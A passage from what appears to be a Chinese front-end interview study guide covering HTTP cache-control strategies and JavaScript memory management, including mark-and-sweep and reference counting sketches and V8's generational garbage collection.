客户端请求 → 服务器验证 Etag/Last-Modified → 验证通过返回 304 → 使用缓存
→ 验证失败返回 200 → 更新缓存
4. 缓存策略最佳实践
简要回答:静态资源长期缓存(带版本号)、HTML每次验证、API不缓存、CDN设置合理缓存时间。
详细讲解:
静态资源缓存
Cache-Control: max-age=31536000, immutable
- 带版本号的静态资源:
app.abc123.js - 长期缓存,更新通过版本号
HTML 文件
Cache-Control: no-cache
- 每次验证,确保获取最新版本
API 接口
Cache-Control: no-store, must-revalidate
- 敏感数据不缓存
CDN 缓存
Cache-Control: public, max-age=86400
- 公共缓存,减少源站压力
四、垃圾回收机制
1. 内存管理基础
简要回答:内存生命周期:分配→使用→回收。常见内存泄漏:全局变量、闭包、DOM引用、定时器、事件监听器未清理。
详细讲解:
内存生命周期
分配 → 使用 → 回收
常见内存泄漏场景
- 全局变量
- 闭包引用
- DOM 引用未清理
- 定时器未清除
- 事件监听器未移除
2. 标记清除算法
简要回答:先标记所有可达对象,再清除未标记对象,会产生内存碎片。
详细讲解:
算法流程
阶段1:标记
// 从根节点(全局对象、调用栈)开始遍历
// 标记所有可达对象
mark(root);
function mark(obj) {
if (obj.marked) return;
obj.marked = true;
for (let prop in obj) {
if (typeof obj[prop] === 'object') {
mark(obj[prop]);
}
}
}
阶段2:清除
// 遍历堆内存
// 清除未标记的对象
sweep();
function sweep() {
for (let obj in heap) {
if (!obj.marked) {
delete heap[obj];
} else {
obj.marked = false; // 重置标记
}
}
}
优点与缺点
- 优点:简单高效
- 缺点:产生内存碎片
3. 引用计数算法
简要回答:跟踪每个对象的引用次数,引用为0时回收。无法解决循环引用问题。
详细讲解:
工作原理
let obj = { name: 'John' }; // 引用计数 = 1
let obj2 = obj; // 引用计数 = 2
obj = null; // 引用计数 = 1
obj2 = null; // 引用计数 = 0 → 回收
循环引用问题
function createCycle() {
let a = {};
let b = {};
a.b = b; // a 引用 b
b.a = a; // b 引用 a
return null;
}
createCycle(); // a 和 b 形成循环引用,引用计数永远不为 0
4. V8 分代回收机制
简要回答:新生代用Scavenge算法(复制存活对象),老生代用Mark-Sweep+Mark-Compact(标记清除+整理)。
详细讲解:
分代假设
- 新生代:对象存活时间短,创建和销毁频繁
- 老生代:对象存活时间长,常驻内存
内存布局
┌─────────────────────────────────────────────┐
│ V8 Heap │
├─────────────────────────────────────────────┤
│ New Space (新生代) │ Old Space (老生代) │
│ 32MB (64位) │ 1.4GB (64位) │
│ ┌──────────────┐ │ │
│ │ From Space │ │ │
│ │ (使用中) │ │ │
│ ├──────────────┤ │ │
│ │ To Space │ │ │
│ │ (闲置) │ │ │
│ └──────────────┘ │ │
└─────────────────────────────────────────────┘
新生代回收(Scavenge 算法)
复制阶段
From Space → 存活对象复制 → To Space → 清空 From → 交换 From/To
晋升条件
- 对象经历多次 GC 后仍存活
- To Space 占用超过 25%
老生代回收
Mark-Sweep(标记清除)
- 标记存活对象
- 清除未标记对象
Mark-Compact(标记整理)
- 标记存活对象
- 将存活对象移动到内存一端
- 清除另一端的空闲内存
增量标记与并发回收
增量标记:将标记阶段拆分成多个小步骤,穿插在 JavaScript 执行中
并发回收:GC 线程与 JavaScript 线程同时运行
5. 内存监控与优化
简要回答:使用Chrome DevTools监控内存;优化策略:减少分配、及时释放、使用WeakMap、避免泄漏、按需加载。
详细讲解:
内存监控工具
- Chrome DevTools:Memory 面板
- Performance:记录内存使用
- console.memory:获取内存信息
优化策略
- 减少内存分配:复用对象,避免频繁创建
- 及时释放引用:手动置为 null
- 使用 WeakMap/WeakSet:不阻止垃圾回收
- 避免内存泄漏:清理定时器、事件监听器
- 代码拆分:按需加载,减少初始内存占用

浙公网安备 33010602011771号